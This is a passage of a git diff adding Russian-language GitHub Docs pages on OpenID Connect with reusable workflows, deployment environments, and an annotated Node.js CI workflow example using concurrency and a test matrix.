b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md new file mode 100644 index 000000000000..39855d987b47 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md @@ -0,0 +1,109 @@ +--- +title: Использование OpenID Connect с многократно используемыми рабочими процессами +shortTitle: OpenID Connect with reusable workflows +intro: Вы можете использовать повторно используемые рабочие процессы с OIDC для стандартизации и защиты шагов развертывания. +miniTocMaxHeadingLevel: 3 +redirect_from: + - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: how_to +topics: + - Workflows + - Security +ms.openlocfilehash: 3a02b1de0deff79ec2ee247f82a0587fde5c79fa +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010003' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения о многократно используемых рабочих процессах + +Вместо копирования и вставки заданий развертывания из одного рабочего процесса в другой можно создать многократно используемый рабочий процесс, выполняющий шаги развертывания. Многократно используемый рабочий процесс может использоваться другим рабочим процессом, если он соответствует одному из требований к доступу, описанных в разделе [Повторное использование рабочих процессов](/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows). + +Вы должны ознакомиться с основными [понятиями, описанными в разделе "Повторное использование рабочих процессов](/actions/learn-github-actions/reusing-workflows)" и "[О защите безопасности с помощью OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)". + +## Определение условий доверия + +В сочетании с OpenID Connect (OIDC) многократно используемые рабочие процессы позволяют обеспечить согласованные развертывания в репозитории, организации или предприятии. Это можно сделать, определив условия доверия для облачных ролей на основе повторно используемых рабочих процессов. Доступные варианты зависят от поставщика облачных служб: + +- **Использование `job_workflow_ref`** . + - Для создания условий доверия на основе многократно используемых рабочих процессов ваш поставщик облачных служб должен поддерживать пользовательские утверждения для `job_workflow_ref`. Это позволяет поставщику облачных служб определять, из какого репозитория изначально поступило задание. + - Для облаков, поддерживающих только стандартные утверждения (аудитория (`aud`) и субъект (`sub`)), можно использовать API для настройки утверждения `sub`, чтобы включить `job_workflow_ref`. Дополнительные сведения см. в разделе [Настройка утверждений маркеров безопасности HTTP](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). Поддержка пользовательских утверждений в настоящее время доступна для Google Cloud Platform и HashiCorp Vault. + +- **Настройка утверждений маркера**. + - Вы можете указать более детализированные условия доверия, настроив утверждения издателя (`iss`) и субъекта (`sub`), включенные в JWT. Дополнительные сведения см. в разделе [Настройка утверждений маркеров безопасности HTTP](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). + +## Как маркер работает с многократно используемыми рабочими процессами + +Во время выполнения рабочего процесса поставщик OIDC {% data variables.product.prodname_dotcom %}представляет поставщику облачных служб маркер OIDC, который содержит сведения о задании. Если это задание является частью многократно используемого рабочего процесса, маркер будет включать стандартные утверждения, содержащие сведения о вызывающем рабочем процессе, а также пользовательское утверждение `job_workflow_ref`, которое содержит сведения о вызываемом рабочем процессе. + +Например, следующий маркер OIDC предназначен для задания, являющегося частью вызываемого рабочего процесса. Атрибуты `workflow`, `ref` и другие описывают вызывающий рабочий процесс, в то время как `job_workflow_ref` ссылается на вызываемый рабочий процесс: + +```yaml{:copy} +{ + "typ": "JWT", + "alg": "RS256", + "x5t": "example-thumbprint", + "kid": "example-key-id" +} +{ + "jti": "example-id", + "sub": "repo:octo-org/octo-repo:environment:prod", + "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org", + "ref": "refs/heads/main", + "sha": "example-sha", + "repository": "octo-org/octo-repo", + "repository_owner": "octo-org", + "actor_id": "12", + "repository_id": "74", + "repository_owner_id": "65", + "run_id": "example-run-id", + "run_number": "10", + "run_attempt": "2", + "actor": "octocat", + "workflow": "example-workflow", + "head_ref": "", + "base_ref": "", + "event_name": "workflow_dispatch", + "ref_type": "branch", + "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main", + "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}", + "nbf": 1632492967, + "exp": 1632493867, + "iat": 1632493567 +} +``` + +Если многократно используемый рабочий процесс выполняет шаги развертывания, то ему обычно требуется доступ к определенной облачной роли, и вы можете захотеть разрешить любому репозиторию в организации вызывать этот многократно используемый рабочий процесс. Чтобы разрешить это, вам нужно создать условие доверия, которое разрешает любой репозиторий и любой вызывающий рабочий процесс, а затем выполнить фильтрацию по организации и вызываемому рабочему процессу. Некоторые примеры см. в следующем разделе. + +## Примеры + +**Фильтрация многократно используемых рабочих процессов в определенном репозитории** + +Вы можете настроить пользовательское утверждение, которое фильтрует любой многократно используемый рабочий процесс в определенном репозитории. В этом примере выполнение рабочего процесса должно запускаться из задания, определенного в многократно используемом рабочем процессе в репозитории `octo-org/octo-automation`, и в любом репозитории, принадлежащем организации `octo-org`. + +- **Тема**. + - Синтаксис: `repo:ORG_NAME/*` + - Например, `repo:octo-org/*`. + +- **Пользовательское утверждение**: + - Синтаксис: `job_workflow_ref:ORG_NAME/REPO_NAME` + - Например, `job_workflow_ref:octo-org/octo-automation@*`. + +**Фильтрация конкретного многократно используемого рабочего процессов по определенной ссылке** + +Вы можете настроить пользовательское утверждение, которое фильтрует определенный многократно используемый рабочий процесс. В этом примере выполнение рабочего процесса должно запускаться из задания, определенного в многократно используемом рабочем процессе `octo-org/octo-automation/.github/workflows/deployment.yml`, и в любом репозитории, принадлежащем организации `octo-org`. + +- **Тема**. + - Синтаксис: `repo:ORG_NAME/*` + - Например, `repo:octo-org/*`. + +- **Пользовательское утверждение**: + - Синтаксис: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` + - Например, `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`. diff --git a/translations/ru-RU/content/actions/deployment/targeting-different-environments/index.md b/translations/ru-RU/content/actions/deployment/targeting-different-environments/index.md new file mode 100644 index 000000000000..8819f5bd8852 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/targeting-different-environments/index.md @@ -0,0 +1,19 @@ +--- +title: Нацеливание на разные среды +shortTitle: Target different environments +intro: 'Среды можно настроить с помощью правил защиты и секретов. Задание рабочего процесса, ссылающееся на среду, должно соответствовать любым правилам защиты среды перед запуском или доступом к секретам среды.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /using-environments-for-deployment +ms.openlocfilehash: bf8b118c7ab32747831c11cb0c4aa3333b9480df +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010076' +--- + diff --git a/translations/ru-RU/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/ru-RU/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md new file mode 100644 index 000000000000..425eaab3caf8 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md @@ -0,0 +1,130 @@ +--- +title: Использование сред для развертывания +shortTitle: Use environments for deployment +intro: 'Среды можно настроить с помощью правил защиты и секретов. Задание рабочего процесса, ссылающееся на среду, должно соответствовать любым правилам защиты среды перед запуском или доступом к секретам среды.' +product: '{% data reusables.gated-features.environments %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /actions/reference/environments + - /actions/deployment/environments + - /actions/deployment/using-environments-for-deployment +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 21163a759cfd7eab3b197aeb4bb9283e1ccb90a2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147572306' +--- +## Знакомство со средами + +Среды используются для описания общего целевого объекта развертывания, такого как `production`, `staging` или `development`. Когда рабочий процесс {% data variables.product.prodname_actions %} выполняет развертывание в среде, эта среда отображается на главной странице репозитория. Дополнительные сведения о просмотре развертываний в средах см. в разделе [Просмотр журнала развертывания](/developers/overview/viewing-deployment-history). + +Среды можно настроить с помощью правил защиты и секретов. Если задание рабочего процесса ссылается на среду, это задание не будет запускаться до тех пор, пока не будут выполнены все правила защиты среды. Задание также не может получить доступ к секретам, определенным в среде, до тех пор, пока не будут выполнены все правила защиты среды. + +{% ifversion fpt %} {% note %} + +**Примечание.** Вы можете настраивать среды только для общедоступных репозиториев. Если вы преобразуете репозиторий из общедоступного в частный, все настроенные правила защиты и секреты среды будут игнорироваться, и вы не сможете настроить какие-либо среды. Если вы преобразуете репозиторий обратно в общедоступный, то получите доступ ко всем ранее настроенным правилам защиты и секретам среды. + +Организации с {% data variables.product.prodname_team %} и пользователи с {% data variables.product.prodname_pro %} могут настраивать среды для частных репозиториев. Дополнительные сведения см. в разделе [Продукты {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products). + +{% endnote %} {% endif %} + +## Правила защиты среды + +Правила защиты среды требуют выполнения определенных условий, прежде чем задание, ссылающееся на среду, сможет продолжить работу. Вы можете использовать правила защиты среды, чтобы требовать утверждения вручную, откладывать задания или ограничивать среду определенными ветвями. + +### Обязательные рецензенты + +С помощью обязательных рецензентов вы можете требовать, чтобы задания рабочего процесса, ссылающиеся на среду, утверждались конкретным пользователем или командой. Вы можете перечислить до шести пользователей или групп в качестве рецензентов. Рецензенты должны иметь по крайней мере доступ на чтение в репозитории. Только один из обязательных рецензентов должен утвердить задание, чтобы оно могло продолжить работу. + +Дополнительные сведения о проверке обязательными рецензентами заданий, ссылающихся на среду, см. в разделе [Проверка развертываний](/actions/managing-workflow-runs/reviewing-deployments). + +### Таймер ожидания + +Таймер ожидания можно использовать для задержки задания на определенный промежуток времени после первоначальной активации задания. Время указывается в минутах и должно быть целым числом от 0 до 43 200 (30 дней). + +### Ветви развертывания + +С помощью ветвей развертывания можно ограничить ветви, которые могут развертываться в среде. Ниже приведены варианты ветвей развертывания для среды. + +* **Все ветви**. Все ветви в репозитории могут развертываться в среде. +* **Защищенные ветви**. В среде могут развертываться только ветви с включенными правилами защиты ветвей. Если правила защиты ветви не определены ни для одной ветви в репозитории, то могут развертываться все ветви. Дополнительные сведения о правилах защиты ветви см. в разделе [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches). +* **Выбранные ветви**. В среде могут развертываться только ветви, чьи имена соответствуют указанным шаблонам имен. + + Например, если вы указываете правило ветви развертывания `releases/*`, в среде могут развертываться только ветви, имена которых начинаются с `releases/`. (Подстановочные знаки не будут сопоставляться с `/`. Чтобы сопоставить ветви, начинающиеся с `release/` и содержащие дополнительную косую черту, используйте `release/*/*`.) Если вы добавите `main` в качестве правила ветви развертывания, ветвь с именем `main` также может быть развернута в среде. Дополнительные сведения о параметрах синтаксиса для ветвей развертывания см. в [документации Ruby File.fnmatch](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). +## Секреты среды + +Секреты, хранящиеся в среде, доступны только заданиям рабочих процессов, ссылающимся на среду. Если среда требует утверждения, задание не сможет получить доступ к секретам среды, пока один из обязательных рецензентов не утвердит его. Дополнительные сведения о секретах см. в разделе [Зашифрованные секреты](/actions/reference/encrypted-secrets). + +{% note %} + +**Примечание.** Рабочие процессы, запускаемые в локальных средствах выполнения, не выполняются в изолированном контейнере, даже если они используют среды. Секреты среды должны находиться на том же уровне безопасности, что и секреты репозитория и организации. Дополнительные сведения см. в разделе [Усиление безопасности для GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners). + +{% endnote %} + +## Создание среды + +{% data reusables.actions.permissions-statement-environment %} + +{% ifversion fpt or ghec %} {% note %} + +**Примечание.** Возможность создания среды в частном репозитории доступна организациям с {% data variables.product.prodname_team %} и пользователям с {% data variables.product.prodname_pro %}. + +{% endnote %} {% endif %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.actions.sidebar-environment %} {% data reusables.actions.new-environment %} {% data reusables.actions.name-environment %} +1. При необходимости укажите пользователей или команды, которые должны утверждать задания рабочих процессов, использующие эту среду. + 1. Выберите **Обязательные рецензенты**. + 1. Введите до 6 пользователей или команд. Только один из обязательных рецензентов должен утвердить задание, чтобы оно могло продолжить работу. + 1. Нажмите **Сохранить правила защиты**. +2. При необходимости укажите время ожидания до разрешения заданиям рабочего процесса, использующим эту среду, продолжить работу. + 1. Выберите **Таймер ожидания**. + 1. Введите количество минут ожидания. + 1. Нажмите **Сохранить правила защиты**. +3. При необходимости укажите, какие ветви можно развернуть в этой среде. Дополнительные сведения о возможных значениях см. в разделе [Ветви развертывания](#deployment-branches). + 1. Выберите нужный вариант в раскрывающемся списке **Ветви развертывания**. + 1. Если вы указываете **Выбранные ветви**, введите шаблоны имен ветвей, которые хотите разрешить. +4. При необходимости добавьте секреты среды. Эти секреты доступны только для заданий рабочих процессов, использующих данную среду. Кроме того, задания рабочих процессов, использующие эту среду, могут получить доступ к этим секретам только после выполнения всех настроенных правил (например, обязательных рецензентов). Дополнительные сведения о секретах см. в разделе [Зашифрованные секреты](/actions/reference/encrypted-secrets). + 1. В разделе **Секреты среды** нажмите **Добавить секрет**. + 1. Введите имя секрета. + 1. Введите значение секрета. + 1. Щелкните **Добавить секрет**. + +Вы также можете создавать и настраивать среды с помощью REST API. Дополнительные сведения см. в разделах "[Среды развертывания](/rest/deployments/environments)", "[Секреты GitHub Actions](/rest/actions/secrets)" и "[Политики ветви развертывания](/rest/deployments/branch-policies)". + +При запуске рабочего процесса, ссылающегося на среду, которая не существует, будет создана среда с указанным именем. В этой только что созданной среде не будет настроенных правил защиты или секретов. Любой пользователь, который может изменять рабочие процессы в репозитории, может создавать среды с помощью файла рабочего процесса, но настраивать среду могут только администраторы репозитория. + +## Использование среды + +Каждое задание в рабочем процессе может ссылаться на одну среду. Чтобы задание, ссылающееся на среду, было отправлено в средство выполнения, должны быть выполнены все правила защиты среды. Задание может получить доступ к секретам среды только после отправки задания в средство выполнения. + +Если рабочий процесс ссылается на среду, среда будет отображаться в развертываниях репозитория. Дополнительные сведения о просмотре текущих и предыдущих развертываний см. в разделе [Просмотр журнала развертывания](/developers/overview/viewing-deployment-history). + +{% data reusables.actions.environment-example %} + +## Удаление среды + +{% data reusables.actions.permissions-statement-environment %} + +При удалении среды будут удалены все секреты и правила защиты, связанные с этой средой. Все задания из удаленной среды, находившиеся в состоянии ожидания из-за правил защиты, автоматически завершатся с ошибкой. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.actions.sidebar-environment %} +1. Щелкните {% octicon "trash" aria-label="The trash icon" %} рядом со средой, которую хотите удалить. +2. Нажмите **"Я понимаю, удалить эту среду**. + +Вы также можете удалить среды с помощью REST API. Дополнительные сведения: [Среды](/rest/reference/repos#environments). + +## Связь сред с развертываниями + +{% data reusables.actions.environment-deployment-event %} + +Вы можете получить доступ к этим объектам с помощью REST API или API GraphQL. Вы также можете подписаться на эти события веб-перехватчика. Дополнительные сведения см. в разделе [Репозитории](/rest/reference/repos#deployments) (REST API), [Объекты](/graphql/reference/objects#deployment) (API GraphQL) или [События и полезные данные веб-перехватчика](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment). + +## Дальнейшие действия + +{% data variables.product.prodname_actions %} предоставляет несколько функций для управления развертываниями. Дополнительные сведения см. в разделе [Развертывание с помощью GitHub Actions](/actions/deployment/deploying-with-github-actions). diff --git a/translations/ru-RU/content/actions/examples/index.md b/translations/ru-RU/content/actions/examples/index.md new file mode 100644 index 000000000000..2dbaabf9e5c7 --- /dev/null +++ b/translations/ru-RU/content/actions/examples/index.md @@ -0,0 +1,21 @@ +--- +title: Примеры +shortTitle: Examples +intro: 'Примеры рабочих процессов, демонстрирующих функции CI/CD для {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - using-scripts-to-test-your-code-on-a-runner + - using-the-github-cli-on-a-runner + - using-concurrency-expressions-and-a-test-matrix +ms.openlocfilehash: ead17cbc8c35735e3676aa7b992ebd05ac6686ae +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881093' +--- + diff --git a/translations/ru-RU/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md b/translations/ru-RU/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md new file mode 100644 index 000000000000..e5e794fcbafe --- /dev/null +++ b/translations/ru-RU/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md @@ -0,0 +1,645 @@ +--- +title: 'Использование параллелизма, выражений и тестовой матрицы' +shortTitle: 'Use concurrency, expressions, and a test matrix' +intro: 'Использование расширенных функций {% data variables.product.prodname_actions %} для непрерывной интеграции (CI).' +versions: + fpt: '*' + ghes: '>= 3.5' + ghae: '>= 3.5' + ghec: '*' +type: how_to +topics: + - Workflows +ms.openlocfilehash: 8e34f9e9c553f5ea908b9a1340385db490bd4d1b +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148093892' +--- +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор примера + +{% data reusables.actions.example-workflow-intro-ci %} Когда этот рабочий процесс активируется, он проверяет код с помощью матрицы сочетаний тестов с `npm test`. + +{% data reusables.actions.example-diagram-intro %} + +![Обзорная схема этапов рабочего процесса](/assets/images/help/images/overview-actions-using-concurrency-expressions-and-a-test-matrix.png) + +## Функции, используемые в этом примере + +{% data reusables.actions.example-table-intro %} + +| **Возможность** | **Реализация** | +| --- | --- | +{% data reusables.actions.workflow-dispatch-table-entry %} {% data reusables.actions.pull-request-table-entry %} {% data reusables.actions.cron-table-entry %} {% data reusables.actions.permissions-table-entry %} {% data reusables.actions.concurrency-table-entry %} | Выполнение задания в разных средствах выполнения тестов в зависимости от репозитория: | [`runs-on`](/actions/using-jobs/choosing-the-runner-for-a-job)| {% data reusables.actions.if-conditions-table-entry %} | Использование матрицы для создания различных конфигураций тестов: | [`matrix`](/actions/using-jobs/using-a-build-matrix-for-your-jobs)| {% data reusables.actions.checkout-action-table-entry %} {% data reusables.actions.setup-node-table-entry %} | Зависимости кэширования: | [`actions/cache`](/actions/advanced-guides/caching-dependencies-to-speed-up-workflows)| | Выполнение тестов в средстве выполнения тестов: | `npm test`| + +## Пример рабочего процесса + +{% data reusables.actions.example-docs-engineering-intro %} [`test.yml`](https://github.com/github/docs/blob/main/.github/workflows/test.yml). + +{% data reusables.actions.note-understanding-example %} + + + + + + + + + + + + +
+ +```yaml{:copy} +name: Node.js Tests + +# **What it does**: Runs our tests. +# **Why we have it**: We want our tests to pass before merging code. +# **Who does it impact**: Docs engineering, open-source engineering contributors. + +on: + workflow_dispatch: + pull_request: + push: + branches: + - main + +permissions: + contents: read + # Needed for the 'trilom/file-changes-action' action + pull-requests: read + +# This allows a subsequently queued workflow run to interrupt previous runs +concurrency: + group: {% raw %}'${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'{% endraw %} + cancel-in-progress: true + +jobs: + test: + # Run on self-hosted if the private repo or ubuntu-latest if the public repo + # See pull # 17442 in the private repo for context + runs-on: {% raw %}${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}{% endraw %} + timeout-minutes: 60 + strategy: + fail-fast: false + matrix: + # The same array lives in test-windows.yml, so make any updates there too. + test-group: + [ + content, + graphql, + meta, + rendering, + routing, + unit, + linting, + translations, + ] + steps: + # Each of these ifs needs to be repeated at each step to make sure the required check still runs + # Even if if doesn't do anything + - name: Check out repo + uses: {% data reusables.actions.action-checkout %} + with: + # Not all test suites need the LFS files. So instead, we opt to + # NOT clone them initially and instead, include them manually + # only for the test groups that we know need the files. + lfs: {% raw %}${{ matrix.test-group == 'content' }}{% endraw %} + # Enables cloning the Early Access repo later with the relevant {% data variables.product.pat_generic %} + persist-credentials: 'false' + + - name: Figure out which docs-early-access branch to checkout, if internal repo + if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %} + id: check-early-access + uses: {% data reusables.actions.action-github-script %} + env: + BRANCH_NAME: {% raw %}${{ github.head_ref || github.ref_name }}{% endraw %} + with: + github-token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %} + result-encoding: string + script: | + // If being run from a PR, this becomes 'my-cool-branch'. + // If run on main, with the `workflow_dispatch` action for + // example, the value becomes 'main'. + const { BRANCH_NAME } = process.env + try { + const response = await github.repos.getBranch({ + owner: 'github', + repo: 'docs-early-access', + BRANCH_NAME, + }) + console.log(`Using docs-early-access branch called '${BRANCH_NAME}'.`) + return BRANCH_NAME + } catch (err) { + if (err.status === 404) { + console.log(`There is no docs-early-access branch called '${BRANCH_NAME}' so checking out 'main' instead.`) + return 'main' + } + throw err + } + + - name: Check out docs-early-access too, if internal repo + if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %} + uses: {% data reusables.actions.action-checkout %} + with: + repository: github/docs-early-access + token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %} + path: docs-early-access + ref: {% raw %}${{ steps.check-early-access.outputs.result }}{% endraw %} + + - name: Merge docs-early-access repo's folders + if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %} + run: | + mv docs-early-access/assets assets/images/early-access + mv docs-early-access/content content/early-access + mv docs-early-access/data data/early-access + rm -r docs-early-access + + # This is necessary when LFS files where cloned but does nothing + # if actions/checkout was run with `lfs:false`. + - name: Checkout LFS objects + run: git lfs checkout + + - name: Gather files changed + uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b + id: get_diff_files + with: + # So that `steps.get_diff_files.outputs.files` becomes + # a string like `foo.js path/bar.md` + output: ' ' + + - name: Insight into changed files + run: | + + # Must to do this because the list of files can be HUGE. Especially + # in a repo-sync when there are lots of translation files involved. + echo {% raw %}"${{ steps.get_diff_files.outputs.files }}" > get_diff_files.txt{% endraw %} + + - name: Setup node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 16.14.x + cache: npm + + - name: Install dependencies + run: npm ci + + - name: Cache nextjs build + uses: {% data reusables.actions.action-cache %} + with: + path: .next/cache + key: {% raw %}${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}{% endraw %} + + - name: Run build script + run: npm run build + + - name: Run tests + env: + DIFF_FILE: get_diff_files.txt + CHANGELOG_CACHE_FILE_PATH: tests/fixtures/changelog-feed.json + run: npm test -- {% raw %}tests/${{ matrix.test-group }}/{% endraw %} +``` +
+ +## Общие сведения о примере + + {% data reusables.actions.example-explanation-table-intro %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КодПояснение
+ +```yaml{:copy} +name: Node.js Tests +``` + + +{% data reusables.actions.explanation-name-key %} +
+ +```yaml{:copy} +on: +``` + + +Ключевое слово `on` позволяет определять события, которые активируются при запуске рабочего процесса. Здесь можно определить несколько событий. Дополнительные сведения см. в статье [Активация рабочего процесса](/actions/using-workflows/triggering-a-workflow#using-events-to-trigger-workflows). +
+ +```yaml{:copy} + workflow_dispatch: +``` + + +Добавьте событие `workflow_dispatch`, если требуется возможность вручную запустить этот рабочий процесс в пользовательском интерфейсе. Дополнительные сведения см. на веб-сайте [`workflow_dispatch`](/actions/reference/events-that-trigger-workflows#workflow_dispatch). +
+ +```yaml{:copy} + pull_request: +``` + + +Добавьте событие `pull_request`, чтобы рабочий процесс запускался автоматически при каждом создании или обновлении запроса на вытягивание. Дополнительные сведения см. на веб-сайте [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request). +
+ +```yaml{:copy} + push: + branches: + - main +``` + + +Добавьте событие `push`, чтобы рабочий процесс запускался автоматически при каждой отправке фиксации в ветвь, соответствующую фильтру `main`. Дополнительные сведения см. на веб-сайте [`push`](/actions/using-workflows/events-that-trigger-workflows#push). +
+ +```yaml{:copy} +permissions: + contents: read + pull-requests: read +``` + + +Изменяет разрешения по умолчанию, предоставленные `GITHUB_TOKEN`. Зависит от потребностей рабочего процесса. Дополнительные сведения см. в статье [Назначение разрешений заданиям](/actions/using-jobs/assigning-permissions-to-jobs). +
+ + +```yaml{:copy} +concurrency: + group: {% raw %}'${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'{% endraw %} +``` + + +Создает группу параллелизма для определенных событий и использует оператор `||` для определения резервных значений. Дополнительные сведения см. в статье [Использование параллелизма](/actions/using-jobs/using-concurrency). +
+ +```yaml{:copy} + cancel-in-progress: true +``` + + +Отменяет задание или рабочий процесс, которые сейчас выполняются в той же группе параллелизма. +
+ +```yaml{:copy} +jobs: +``` + + +Объединяет все задания, выполняемые в файле рабочего процесса. +
+ +```yaml{:copy} + test: +``` + + +Определяет задание с идентификатором `test`, который хранится в ключе `jobs`. +
+ +```yaml{:copy} + runs-on: {% raw %}${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}{% endraw %} +``` + + +Настраивает задание для запуска в средстве выполнения тестов, размещенном в {% data variables.product.prodname_dotcom %}, или в локальном средстве выполнения тестов в зависимости от репозитория, выполняющего рабочий процесс. В этом примере задание будет выполняться в локальном средстве выполнения тестов, если репозиторий называется `docs-internal` и находится в организации `github`. Если репозиторий не соответствует этому пути, задание будет выполняться в средстве выполнения тестов `ubuntu-latest`, размещенном в {% data variables.product.prodname_dotcom %}. Дополнительные сведения об этих параметрах см. в статье [Выбор средства выполнения тестов для задания](/actions/using-jobs/choosing-the-runner-for-a-job). +
+ +```yaml{:copy} + timeout-minutes: 60 +``` + + +Задает максимальное количество минут, в течение которых задание будет выполняться до его автоматической отмены. Дополнительные сведения см. на веб-сайте [`timeout-minutes`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes). +
+ +```yaml{:copy} + strategy: +``` + + В этом разделе определяется матрица сборки для заданий. +
+ +```yaml{:copy} + fail-fast: false +``` + + +Если для `fail-fast` задать значение `false`, {% data variables.product.prodname_dotcom %} запрещается отменять любые выполняемые задания при сбое какого-либо задания в матрице. +
+ +```yaml{:copy} + matrix: + test-group: + [ + content, + graphql, + meta, + rendering, + routing, + unit, + linting, + translations, + ] +``` + + +Создает матрицу с именем `test-group` с массивом тестовых групп. Эти значения соответствуют именам тестовых групп, которые будут выполняться `npm test`. +
+ +```yaml{:copy} + steps: +``` + + +Группируют все шаги, которые будут выполняться в рамках задания `test`. Каждое задание в рабочем процессе имеет собственный раздел `steps`. +
+ +```yaml{:copy} + - name: Check out repo + uses: {% data reusables.actions.action-checkout %} + with: + lfs: {% raw %}${{ matrix.test-group == 'content' }}{% endraw %} + persist-credentials: 'false' +``` + + +Ключевое слово `uses` сообщает заданию, что нужно получить действие с именем `actions/checkout`. Это действие, которое извлекает репозиторий и загружает его в средство выполнения, позволяя выполнять действия в коде (например, средства тестирования). Действие извлечения необходимо использовать в любой момент, когда рабочий процесс будет выполняться в коде репозитория или если вы используете действие, определенное в репозитории. Некоторые дополнительные параметры предоставляются действию с помощью ключа `with`. +
+ +```yaml{:copy} + - name: Figure out which docs-early-access branch to checkout, if internal repo + if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %} + id: check-early-access + uses: {% data reusables.actions.action-github-script %} + env: + BRANCH_NAME: {% raw %}${{ github.head_ref || github.ref_name }}{% endraw %} + with: + github-token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %} + result-encoding: string + script: | + // If being run from a PR, this becomes 'my-cool-branch'. + // If run on main, with the `workflow_dispatch` action for + // example, the value becomes 'main'. + const { BRANCH_NAME } = process.env + try { + const response = await github.repos.getBranch({ + owner: 'github', + repo: 'docs-early-access', + BRANCH_NAME, + }) + console.log(`Using docs-early-access branch called '${BRANCH_NAME}'.`) + return BRANCH_NAME + } catch (err) { + if (err.status === 404) { + console.log(`There is no docs-early-access branch called '${BRANCH_NAME}' so checking out 'main' instead.`) + return 'main' + } + throw err + } +``` + + +Если текущий репозиторий является репозиторием `github/docs-internal`, на этом шаге используется действие `actions/github-script` для запуска скрипта для проверки наличия ветви `docs-early-access`. +
+ +```yaml{:copy} + - name: Check out docs-early-access too, if internal repo + if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %} + uses: {% data reusables.actions.action-checkout %} + with: + repository: github/docs-early-access + token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %} + path: docs-early-access + ref: {% raw %}${{ steps.check-early-access.outputs.result }}{% endraw %} +``` + + +Если текущий репозиторий является репозиторием `github/docs-internal`, на этом шаге извлекается ветвь из `github/docs-early-access`, указанного на предыдущем шаге. +
